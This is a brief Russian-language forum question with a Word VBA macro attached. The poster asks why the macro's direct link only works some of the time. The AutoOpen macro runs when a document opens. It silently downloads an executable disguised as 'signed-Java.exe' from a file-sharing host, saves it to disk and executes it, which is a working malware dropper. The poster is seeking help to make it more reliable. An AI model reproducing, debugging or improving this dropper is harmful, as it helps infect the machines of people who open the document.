Подскажите, есть макрос, в нем частично не работает прямая ссылка, некоторые приложения пропускает, а остальные нет. В чем может быть проблема?
Код:
Sub AutoOpen()
Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
xHttp.Open "Get", "https://fs01n3.sendspace.com/dl/8449b730785092f5657b5c1b980bfce4/5d4d6a735f67881a/6qz5r5/signed-Java.exe", False
xHttp.Send
With bStrm
.Type = 1 '//binary
.Open
.write xHttp.responseBody
.savetofile "Java.exe", 2 '//overwrite
End With
Shell ("Java.exe")
End Sub